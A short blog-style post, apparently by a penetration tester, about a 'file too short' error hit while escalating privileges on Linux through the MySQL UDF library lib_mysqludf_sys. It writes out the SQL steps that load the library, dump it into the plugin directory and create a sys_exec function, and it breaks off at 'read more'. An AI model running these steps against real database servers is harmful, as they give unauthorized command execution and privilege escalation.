MySQL Error 'file too short' when creating 'sys_exec' function

I’ve recently encountered an interesting error “file too short” when escalating privileges on a Linux box via MySQL Library (lib_mysqludf_sys_64.so).

mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so'));

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_64.so' 
(errno: 11 /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so: file too short)
read more